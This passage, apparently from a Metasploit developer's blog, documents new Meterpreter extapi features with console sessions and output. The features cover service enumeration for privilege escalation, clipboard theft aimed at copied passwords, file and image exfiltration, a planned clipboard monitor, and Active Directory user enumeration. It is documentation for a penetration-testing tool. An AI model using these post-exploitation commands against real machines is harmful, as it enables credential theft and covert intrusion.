You can also have some silly fun, like so:

Mass window update
1
2
3
4
5
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.extapi.window.enumerate.each {|w| client.railgun.user32.SetWindowTextA(w[:handle], "PWNED!")}

And behold!

Owned Windows

This is of course a silly example, but having control of the user’s desktop windows can prove useful. Once you know the handle of target, it’s possible to extract more meaningful information thanks to the Railgun API.

You can also Rick Roll. And who doesn’t love a good Rick Rolling?

Service Integration

Now, on to more serious stuff.

Output from running ‘help’ at the Meterpreter prompt
1
2
3
4
5
6
7
Extapi: Service Management Commands
===================================

    Command        Description
    -------        -----------
    service_enum   Enumerate all registered Windows services
    service_query  Query more detail about a specific Windows service

Services are a common point of attack. Misconfigured or old/vulnerable services can make for easy targets for local privilege escalation. The service_enum command lets us take a quick glance at what services are running, and what the status is. Here’s the detailed help:

Detailed help of the service_enum command
1
2
3
4
5
6
7
8
9
meterpreter > service_enum -h

Usage: service_enum [-h]

Enumerate services installed on the target.

Enumeration returns the Process ID, Status, and name of each installed
service that was enumerated. The 'Int' value indicates if the service is
able to interact with the desktop.

No parameters are required to make this function tick. Here’s some sample output:

Sample output of the service_enum command
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
meterpreter > service_enum

Service List
============

PID   Status   Int  Name (Display Name)
---   ------   ---  -------------------
0     Stopped  N    alerter (Alerter)
0     Stopped  N    alg (Application Layer Gateway Service)
0     Stopped  N    appmgmt (Application Management)
956   Running  N    audiosrv (Windows Audio)
0     Stopped  N    bits (Background Intelligent Transfer Service)
956   Running  N    browser (Computer Browser)
0     Stopped  N    cisvc (Indexing Service)
0     Stopped  N    clipsrv (ClipBook)
0     Stopped  N    comsysapp (COM+ System Application)
956   Running  N    cryptsvc (Cryptographic Services)
956   Running  N    dhcp (DHCP Client)
0     Stopped  N    dmadmin (Logical Disk Manager Administrative Service)
0     Stopped  N    dmserver (Logical Disk Manager)
1088  Running  N    dnscache (DNS Client)
956   Running  N    ersvc (Error Reporting Service)
640   Running  N    eventlog (Event Log)
956   Running  N    eventsystem (COM+ Event System)
0     Stopped  N    fastuserswitchingcompatibility (Fast User Switching Compatibility)
956   Running  N    helpsvc (Help and Support)
0     Stopped  N    hidserv (Human Interface Device Access)
0     Stopped  N    imapiservice (IMAPI CD-Burning COM Service)
956   Running  N    lanmanserver (Server)
956   Running  N    lanmanworkstation (Workstation)
1104  Running  N    lmhosts (TCP/IP NetBIOS Helper)
0     Stopped  N    messenger (Messenger)
0     Stopped  N    mnmsrvc (NetMeeting Remote Desktop Sharing)
0     Stopped  N    msdtc (Distributed Transaction Coordinator)
0     Stopped  N    msiserver (Windows Installer)
0     Stopped  N    netdde (Network DDE)
0     Stopped  N    netddedsdm (Network DDE DSDM)
0     Stopped  N    netlogon (Net Logon)
956   Running  N    netman (Network Connections)
956   Running  N    nla (Network Location Awareness (NLA))
0     Stopped  N    ntlmssp (NT LM Security Support Provider)
0     Stopped  N    ntmssvc (Removable Storage)
640   Running  N    plugplay (Plug and Play)
652   Running  N    policyagent (IPSEC Services)
652   Running  N    protectedstorage (Protected Storage)
0     Stopped  N    rasauto (Remote Access Auto Connection Manager)
0     Stopped  N    rasman (Remote Access Connection Manager)
0     Stopped  N    rdsessmgr (Remote Desktop Help Session Manager)
0     Stopped  N    remoteaccess (Routing and Remote Access)
0     Stopped  N    rpclocator (Remote Procedure Call (RPC) Locator)
856   Running  N    rpcss (Remote Procedure Call (RPC))
0     Stopped  N    rsvp (QoS RSVP)
652   Running  N    samss (Security Accounts Manager)
0     Stopped  N    scarddrv (Smart Card Helper)
0     Stopped  N    scardsvr (Smart Card)
956   Running  N    schedule (Task Scheduler)
956   Running  N    seclogon (Secondary Logon)
956   Running  N    sens (System Event Notification)
0     Stopped  N    sharedaccess (Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS))
956   Running  N    shellhwdetection (Shell Hardware Detection)
172   Running  N    spooler (Print Spooler)
956   Running  N    srservice (System Restore Service)
1104  Running  N    ssdpsrv (SSDP Discovery Service)
0     Stopped  N    stisvc (Windows Image Acquisition (WIA))
0     Stopped  N    swprv (MS Software Shadow Copy Provider)
0     Stopped  N    sysmonlog (Performance Logs and Alerts)
0     Stopped  N    tapisrv (Telephony)
956   Running  N    termservice (Terminal Services)
956   Running  N    themes (Themes)
956   Running  N    trkwks (Distributed Link Tracking Client)
956   Running  N    uploadmgr (Upload Manager)
0     Stopped  N    upnphost (Universal Plug and Play Device Host)
0     Stopped  N    ups (Uninterruptible Power Supply)
1496  Running  N    vmtools (VMware Tools)
808   Running  N    vmware physical disk helper service (VMware Physical Disk Helper Service)
0     Stopped  N    vss (Volume Shadow Copy)
956   Running  N    w32time (Windows Time)
1104  Running  N    webclient (WebClient)
956   Running  N    winmgmt (Windows Management Instrumentation)
956   Running  N    wmdmpmsp (Portable Media Serial Number)
0     Stopped  N    wmiapsrv (WMI Performance Adapter)
0     Stopped  N    wuauserv (Automatic Updates)
956   Running  N    wzcsvc (Wireless Zero Configuration)

PIDs are shown so that the attacker can migrate to a chosen service easily using the migrate <pid> command. If the attacker is interested in more detail, then the service_query function can be used to dig deeper:

Detailed help for service_query
1
2
3
4
5
6
7
meterpreter > service_query -h

Usage: service_query [-h] <servicename>
     <servicename>:  The name of the service to query.

Gets details information about a particular Windows service, including
binary path, DACL, load order group, start type and more.

The name of the service is required to drill deeper, and this is what it looks like when it’s run:

Sample output of the service_query command
1
2
3
4
5
6
7
8
9
10
meterpreter > service_query winmgmt

Name        : winmgmt
Display     : Windows Management Instrumentation
Account     : LocalSystem
Start Type  : Automatic
Path        : C:\WINDOWS\system32\svchost.exe -k netsvcs
L.O. Group  :
Interactive : No
DACL        : D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)

You’ll notice that the DACL hasn’t been parsed into something easily digestable. This is a work in progress, as I’m able to parse the DACL but can’t yet come up with a nice way of rendering it. I’m open to suggestions and pull requests!

Clipboard Integration

This is my favourite and the main motivation for starting the extapi extension in the first place.

Output from running ‘help’ at the Meterpreter prompt
1
2
3
4
5
6
7
Extapi: Clipboard Management Commands
=====================================

    Command             Description
    -------             -----------
    clipboard_get_data  Read the victim's current clipboard
    clipboard_set_text  Write text to the victim's clipboard

Now we can at least partially own the clipboard, and it’s contents. This opens up the possibility for snarfing credentials and other important information from the user while they’re using the clipboard. One good example of this is when people are using password managers, such as KeypassX, to copy and paste credentials into browsers or applications.

The only problem is that I the functions need to be invoked manually, and at the right time. This can obviously be difficult and requires a bit of luck. The commands, which I will go into in just a minute, were designed to be the building blocks for me to build what I will call the clipboard_monitor!

But first, let’s look at the bit of magic that let’s us pull clipboard data from the victim.

Detailed help for the clipboard_get_data command
1
2
3
4
5
6
7
8
9
10
11
meterpreter > clipboard_get_data -h

Usage: clipboard_get_data [-h] [-d]

Attempts to read the data from the victim's clipboard. If the data is in a
supported format, it is read and returned to the user.

OPTIONS:

    -d <opt>  Download non-text content to the specified folder (or current folder)
    -h        Help banner

One thing to beard in mind about the clipboard is that it’s not possible to tell what’s on there without querying it. This is why I didn’t create a clipboard_get_text function, for example, because the data might not be text. Instead, this general function will pull down whatever it finds on the clipboard so long as it’s supported. Currently the extension supports the three main types: text, files, and images.

Text data is the most obvious and simple to handle. If we pretend that the user from the previous screenshot has copied the content of notepad to the clipboard, this is what we get:

Detailed help for the clipboard_get_data command
1
2
3
4
5
6
meterpreter > clipboard_get_data

Current Clipboard Text
======================

This is secret!

Pretty simple stuff. It does get more complicated when we want to deal with something like one or more files:

Detailed help for the clipboard_get_data command
1
2
3
4
5
6
7
8
9
10
11
12
meterpreter > clipboard_get_data

Current Clipboard Files
=======================

File Path               Size (bytes)
---------               ------------
C:\Python27\NEWS.txt    263050
C:\Python27\README.txt  54961
C:\Python27\python.exe  26624

3 file(s) totalling 344635 bytes

Here we can see that the user has got a selection of files on the clipboard, and the extension lets us know what they are and how big they are. Directories are also supported, but displayed as a file with 0 bytes, like so:

Detailed help for the clipboard_get_data command
1
2
3
4
5
6
7
8
9
10
11
12
13
meterpreter > clipboard_get_data

Current Clipboard Files
=======================

File Path               Size (bytes)
---------               ------------
C:\Python27\Doc         0
C:\Python27\NEWS.txt    263050
C:\Python27\README.txt  54961
C:\Python27\python.exe  26624

4 file(s) totalling 344635 bytes

This might change in future, but for now this is how it works. Doing a recursive file stat to get counts of files and files sizes was deemed overkill for the sake of this exercise.

While this output is interesting, it’d be more useful to be able to download those files as well. This is where the -d switch comes in, as this tells the extension to download the files to the local machine:

Download files using the -d switch
1
2
3
4
5
6
7
8
9
10
11
12
meterpreter > clipboard_get_data -d

[*] Downloading Clipboard Files ...
downloading: C:\Python27\README.txt -> /Users/oj/code/metasploit-framework/README.txt
downloaded : C:\Python27\README.txt -> /Users/oj/code/metasploit-framework/README.txt
downloading: C:\Python27\Doc\python271.chm -> /Users/oj/code/metasploit-framework/Doc/python271.chm
downloaded : C:\Python27\Doc\python271.chm -> /Users/oj/code/metasploit-framework/Doc/python271.chm
downloading: C:\Python27\NEWS.txt -> /Users/oj/code/metasploit-framework/NEWS.txt
downloaded : C:\Python27\NEWS.txt -> /Users/oj/code/metasploit-framework/NEWS.txt
downloading: C:\Python27\python.exe -> /Users/oj/code/metasploit-framework/python.exe
downloaded : C:\Python27\python.exe -> /Users/oj/code/metasploit-framework/python.exe
[+] Downloaded 4 file(s).

Here you can see that download does work recursively. So we can deal with text and files, what about image data? What if someone takes a screenshot of something?

Image data
1
2
3
4
meterpreter > clipboard_get_data

Clipboard Image Dimensions: 240x180
Re-run with -d to download image.

The extension tells us that there is image data on the clipboard, and that again we can use the -d switch to pull the data down:

Download image data with -d
1
2
Clipboard Image Dimensions: 240x180
[+] Clipboard image saved to /Users/oj/code/metasploit-framework/ZoepvBYT.jpg

Images are captured by Meterpreter, compressed to JPG using GDI+, and shipped down to the attacker’s machine in the usual manner. This does mean that machines that are Windows 2000 SP3 or earlier can’t work with the image downloader, because they don’t have GDI+ installed. This probably isn’t going to be a big problem given the number of machines out there that fit this description. Down the track, I plan to update the built-in screenshot utility to use GDI+ as well.

Now if only we could do all this automatically when the clipboard content changes. Fear not, dear reader! This is a work in progress.

Sample clipboard_monitor help
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
meterpreter > clipboard_monitor
 
Usage: clipboard_monitor <start|pause|resume|stop> [-f] [-i] [-h]
 
Starts or stops a background clipboard monitoring thread. The thread watches
the clipboard on the target, under the context of the current desktop, and when
changes are detected the contents of the clipboard are returned to the attacker.
 
  - start  - starts the clipboard monitor with the given arguments if
             the thread is not already running.
  - pause  - pauses a currently running clipboard monitor thread.
  - resume - resumes a currently paused clipboard monitor thread.
  - stop   - stops a currently running or paused clipboard monitor thread.
 
OPTIONS:
 
    -f        Automatically download files
    -h        Help banner
    -i        Automatically download image content
    -l <opt>  Specifies the folder to write the clipboard loot to
 
 
meterpreter > clipboard_monitor start -l /tmp
[*] Clipboard monitor looting to /tmp ...
[*] Download files? No
[*] Download images? No
[+] Clipboard monitor started

As you can see, some work has been done already. Capturing the clipboard changes has already been implemented, but rather than buffer them on the victim’s machine the goal is to create a streaming mechanism that will push the data to the attacker as soon as possible. This prevents issues with memory usage on the client, it means that information is made available as it happens, and it also removes the possibility of data being lost if the user manages to terminate Meterpreter.

This work will also go towards supporting streaming for other helpful Meterpreter features such as keylogging and packet capture.

The final command, clipboard_set_text, is a bit of a cute novelty that fits into the same category as some other Metasploit features in that it’s used to scare the victim a little. Setting text is the only thing that is supported, image content and files might come later but are currently a very low priority.

Set text example
1
2
3
4
5
6
7
meterpreter > clipboard_set_text You have been owned!
meterpreter > clipboard_get_data

Current Clipboard Text
======================

You have been owned!

This rather large chunk of work was merged by Egypt and Meatballs, who deserve a big thanks for wading through my steaming pile of code to make sure it was as stink-free as possible before it landed in master.

ADSI Integration

ADSI support isn’t currently in the extapi extension that is sitting in Metasploit’s master branch. However, there are pull requests for both Meterpreter and Metasploit which add the very basics for querying Active Directory through Meterpreter.

ADSI commands
1
2
3
4
5
6
7
8
Extapi: ADSI Management Commands
================================

    Command             Description
    -------             -----------
    adsi_computer_enum  Enumerate all computers on the specified domain.
    adsi_domain_query   Enumerate all objects on the specified domain that match a filter.
    adsi_user_enum      Enumerate all users on the specified domain.

The core of the work that has been done is in the adsi_domain_query command, as this is the general funnel that is used by the other two commands. It looks like this:

ADSI commands
1
2
3
4
5
6
7
8
9
10
11
12
13
meterpreter > adsi_domain_query 

Usage: adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]

Enumerate the objects on the target domain.

Enumeration returns the set of fields that are specified.

OPTIONS:

    -h        Help banner
    -m <opt>  Maximum results to return.
    -p <opt>  Result set page size.

Those familiar with LDAP, Active Directory, etc. will be familiar with how this works. As we all know, a console dump speaks volumes, so let’s see an example of it being invoked against my old Windows 2000 domain controller VM:

adsi_domain_query command sample
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
meterpreter > adsi_domain_query windows.old "(|(name=w*)(name=a*))" samaccountname name distinguishedname

windows.old Objects
===================

samaccountname     name                distinguishedname
--------------     ----                -----------------
                   a.root-servers.net  DC=a.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=windows,DC=old
                   WinsockServices     CN=WinsockServices,CN=System,DC=windows,DC=old
                   windows.old         DC=windows.old,CN=MicrosoftDNS,CN=System,DC=windows,DC=old
                   windows             DC=windows,DC=old
                   AdminSDHolder       CN=AdminSDHolder,CN=System,DC=windows,DC=old
                   win2k               DC=win2k,DC=windows.old,CN=MicrosoftDNS,CN=System,DC=windows,DC=old
                   WIN2K               CN=WIN2K,CN=Domain System Volume (SYSVOL share),CN=File Replication Service,CN=System,DC=windows,DC=old
                   AppCategories       CN=AppCategories,CN=Default Domain Policy,CN=System,DC=windows,DC=old
Account Operators  Account Operators   CN=Account Operators,CN=Builtin,DC=windows,DC=old
Administrator      Administrator       CN=Administrator,CN=Users,DC=windows,DC=old
Administrators     Administrators      CN=Administrators,CN=Builtin,DC=windows,DC=old
WIN2K$             WIN2K               CN=WIN2K,OU=Domain Controllers,DC=windows,DC=old
alice              Alice               CN=Alice,CN=Users,DC=windows,DC=old

Total objects: 13

You can see that I’m searching for any objects in the windows.old domain that have a name starting with w or a and I’m asking for the fields samaccountname, name and distinguishedname.

Here’s a query for user’s that have a name starting with a that lets us know how many attempts they’ve had at logging in that have failed:

adsi_domain_query command sample
1
2
3
4
5
6
7
8
9
10
11
meterpreter > adsi_domain_query windows.old "(&(objectClass=user)(name=a*))" samaccountname badPwdCount

windows.old Objects
===================

samaccountname  badPwdCount
--------------  -----------
Administrator   9
alice           0

Total objects: 2

With this in place, lots of pre-baked queries can be made that can sit on top and not require much work. I’ve put two in there already, just as examples, and they look like this:

adsi_user_enum output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
meterpreter > adsi_user_enum

Usage: adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize]

Enumerate the users on the target domain.

Enumeration returns information such as the user name, SAM account name, locked
status, desc, and comment.

OPTIONS:

    -h        Help banner
    -m <opt>  Maximum results to return.
    -p <opt>  Result set page size.

meterpreter > adsi_user_enum windows.old

windows.old Users
=================

samaccountname  name            distinguishedname                                 description                                                                              comment
--------------  ----            -----------------                                 -----------                                                                              -------
Administrator   Administrator   CN=Administrator,CN=Users,DC=windows,DC=old       Built-in account for administering the computer/domain                                   
Guest           Guest           CN=Guest,CN=Users,DC=windows,DC=old               Built-in account for guest access to the computer/domain                                 
IUSR_WIN2K      IUSR_WIN2K      CN=IUSR_WIN2K,CN=Users,DC=windows,DC=old          Built-in account for anonymous access to Internet Information Services                   Built-in account for anonymous access to Internet Information Services
IWAM_WIN2K      IWAM_WIN2K      CN=IWAM_WIN2K,CN=Users,DC=windows,DC=old          Built-in account for Internet Information Services to start out of process applications  Built-in account for Internet Information Services to start out of process applications
SCHMIDT$        schmidt         CN=schmidt,CN=Computers,DC=windows,DC=old         test PC                                                                                  
TsInternetUser  TsInternetUser  CN=TsInternetUser,CN=Users,DC=windows,DC=old      This user account is used by Terminal Services.                                          
WIN2K$          WIN2K           CN=WIN2K,OU=Domain Controllers,DC=windows,DC=old  This is a TEST.                                                                          
alice           Alice           CN=Alice,CN=Users,DC=windows,DC=old                                                                                                        
bob             BOB             CN=BOB,CN=Users,DC=windows,DC=old                                                                                                          
fido            fido            CN=fido,CN=Users,DC=windows,DC=old                                                                                                         
krbtgt          krbtgt          CN=krbtgt,CN=Users,DC=windows,DC=old              Key Distribution Center Service Account                                                  

Total users: 11
adsi_computer_enum output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
meterpreter > adsi_computer_enum 

Usage: adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize]

Enumerate the computers on the target domain.

Enumeration returns information such as the computer name, desc, and comment.

OPTIONS:

    -h        Help banner
    -m <opt>  Maximum results to return.
    -p <opt>  Result set page size.

windows.old Computers
=====================

name     distinguishedname                                 description      comment
----     -----------------                                 -----------      -------
WIN2K    CN=WIN2K,OU=Domain Controllers,DC=windows,DC=old  This is a TEST.  
schmidt  CN=schmidt,CN=Computers,DC=windows,DC=old         test PC          

Total computers: 2

If you like this idea, then watch carefully because this should be landing in a Metasploit installation near you very soon.

Doxygen documentation

Documentation. It’s the downfall of almost every software project. Open Source tends to suffer more so. Meterpreter’s history has been slightly tarnished thanks to the lack of documentation, but that is something that we’re working to fix. The issue of documentation can be solved in many ways, and the way that we’ve decided to start solving the problem with Meterpreter is by using Doxygen and slowly, but surely, work our way through the source and add whatever documentation we can.

Needless to say this is a big job. The team is aiming to write more documentation with each commit so that we can cover the source base during the course of doing normal work.

The generated Doxygen documentation can be found on the Metasploit CI server. This gets updated each time a new build is created, so it should always reflect what is currently in the master Meterpreter branch.

People who are interested in getting involved in Meterpreter should look to start by pulling the source, reading bits of code and adding documentation. It might not be glamorous, but it’s very much appreciated and is a great way to get familiar with the source before diving into code contributions.

What’s Next?

I’m happy to say that Rapid7 are keeping me on for a while longer! There’s always more to do with Meterpreter and never enough time to do it. While I can’t say for sure what will be done next, I can generalise by saying that it’ll most likely include:

  • Fixing compatibility issues with newer versions of Windows, particularly with regards to things like packet capture, pivoting, etc.
  • Resolving the issue with non-tcp payload binaries failing to shutdown.
  • Removing the last of the issues that result in crashes or general instability.
  • Updating mimikatz to v2.0 (already in progress!).
  • Trying to improve Meterpreter’s stealth and protect it from being investigated.
  • Finalising the streaming work so that clipboard_monitor can become a reality.
  • Adding improvements and features to things like the ADSI support and extapi (coming very soon).
  • Working through the general backlog of bugs.
  • Working on some things that I won’t talk about publicly.
  • Hopefully keeping the Rapid7 folks happy so that I can continue to work with them.

If you have suggestions, let’s hear them! Even better, submit a PR, and to encourage you:

I will personally send a quality, quintessentially Australian fluffy crocodile toy via snail-mail to the first non-Rapid7 person who submits a pull request with a non-trivial fix or contribution to Meterpreter and have it merged into master.

That’s right, you could be a winner of some Oz awesome! So get coding, it’s not that hard… any more!

What? Is that it?

I know it doesn’t appear like much for just 3 short months, but yes that’s basically it. There are lots of other small fixes, tweaks, adjustments, etc. along the way but nothing that really kept me tied up for extended periods like the stuff that’s listed in here. I’m aiming to lift the throughput, but as time goes by it gets harder to add big chunks of value. However, the job of someone like me is to make myself obsolete, as that would imply there’s nothing more I can do to make it better. In other words, I’ll have made it as good as I am capable of making it.

Gratitude

I’ve had an absolute blast working on Meterpreter these last few months, and I want to publicly acknowledge some folks who have been super supportive since I started. The first is Tod for giving me the chance to work with Rapid7 in the first place, and for being awesome to work for/with since kicking off. I’ve thoroughly enjoyed being part of his team. I’m also very grateful that he’s happy for me to stay on a bit longer to do more!

Second is Egypt. Not only is this bloke super smart and super nice, but he seems to have unending patience when it comes to me and my stupid questions. It’s humbling to be in the presence of this guy, and it was a career highlight to meet him this year at BPX/Rux and get to share some stories over a scotch or three.

Next, a collective holler to the other legendary Rapid7 folk who put up with me every day and who are a constant source of inspiration and learnings: TheLightCosine, Juan, sinn3r, wvu, Brandon and HD Moore. Just being present when these people have a conversation is enough to make me realise how much more I need to learn and vast their abilities are. Thanks to you all for your time and support. I am easily the dumbest guy in the room which means I’m in the right room!

To the general security community folk who, despite not being involved with Rapid7, have given me time and support beyond that which I deserve while working on Meterpreter and trying to make the jump into the security field: Pipes, Mubix, Kernelsmith, Meatballs (thanks for landing those PRs!), Zeknox, Matthew Risck, SmilingRaccoon, Justin, radac, sw1tch, Novex, Ash and Wade … and many others. You’re all bloody legends.

I hope I get to continue working on this amazing piece of kit with all these amazing people. I haven’t had this much fun in years.

Thanks to you all for reading. I hope you enjoyed it and I hope it broke down some of the barriers between you and Meterpreter contributions. If there are any questions, hit me up via email, Twitter or leave a comment here. If you want to get started with Meterpreter contributions I’d certainly love to hear from you.

Comments